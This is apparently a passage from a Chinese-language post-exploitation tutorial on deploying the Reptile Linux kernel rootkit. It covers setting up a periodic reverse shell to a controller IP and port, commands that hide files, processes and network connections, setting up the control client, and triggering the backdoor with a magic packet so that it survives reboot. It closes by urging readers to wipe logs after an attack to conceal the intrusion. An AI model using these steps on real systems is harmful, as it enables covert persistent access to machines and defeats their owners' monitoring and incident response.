Source port of magic packets (default: 666): 源埠默認即可

Would you like to config reverse shell each X time? (y/n) (default: n): 是否每隔一段時間彈 shell ,這個功能很強,隱藏+開機自啟動,如果對方防範意識不高,可以使用這個。

Reverse IP : 控制端ip

Reverse Port: 控制端埠

would you like to config reverse shell each x time(default:1800) :您希望每隔x時間回連一次

安裝成功,並且可以刪除本地文件夾:

image-20220313230947457

看看rootkit效果:

image-20220314113450450

隱藏目錄:

名稱中包含的所有文件和文件夾都reptile將被隱藏。您可以在安裝之前進行配置。
以下命令隱藏/取消隱藏文件、文件夾、進程和內核模組本身:
隱藏:/reptile/reptile_cmd hide
取消隱藏:/reptile/reptile_cmd show

image-20220314113825241

隱藏進程:

隱藏進程:/reptile/reptile_cmd hide <pid>
取消隱藏進程:/reptile/reptile_cmd show <pid>

隱藏TCP/UDP連接:

隱藏:/reptile/reptile_cmd conn <IP> hide
取消隱藏:/reptile/reptile_cmd conn <IP> show

注意:默認情況下,TCP 和 UDP 隱藏功能隱藏到 IP 的所有連接

控制端:

安裝:

#首先安裝依賴
apt install libreadline-dev   #Debian
yum install readline-devel    #RHEL

安裝執行 ./setup client

image-20220314135315728

進入bin目錄,執行./client即可啟動

image-20220314113105462

這個後門的運作邏輯是用任意機器(一般都是控制機)的特定埠(配置目標機器的時候666那個srcport參數)給目標 任意埠發送一段數據。然後目標機器接受到這個數據,再按照配置的裡面回連。

控制端根據受控端的配置,進行設置:

image-20220314131329220

image-20220314131812622

設置完之後,執行run,等待一會就會收到目標機器的連接,進入控制介面

image-20220314132130204

image-20220314132121385

目標重啟之後仍然可以接收到後門。

更多使用,參考官方wiki

Linux痕迹清理

在攻擊結束後,如何不留痕迹的清除日誌和操作記錄,以掩蓋入侵蹤跡,這其實是一個細緻的技術活。你所做的每一個操作,都要被抹掉;你所上傳的工具,都應該被安全地刪掉。

Linux痕迹清理方法見

//www.cnblogs.com/yokan/p/15701536.html

參考

//www.freebuf.com/articles/network/257603.html
//websec.readthedocs.io/zh/latest/intranet/linux/index.html
//baiker.top/0839a9742351
//xz.aliyun.com/t/100
//www.ddosi.org/ssh-movement/
//xz.aliyun.com/t/7338
//www.cnblogs.com/-mo-/p/12337766.html
第3篇:Linux許可權維持–隱藏篇 · 應急響應實戰筆記 (bypass007.github.io)
f0rb1dd3n/Reptile: LKM Linux rootkit (github.com)
Metarget/k0otkit: k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters. (github.com)
//www.sohu.com/a/153754894_354899
//blog.csdn.net/fageweiketang/article/details/86665518
//www.hacking8.com/MiscSecNotes/rookit.html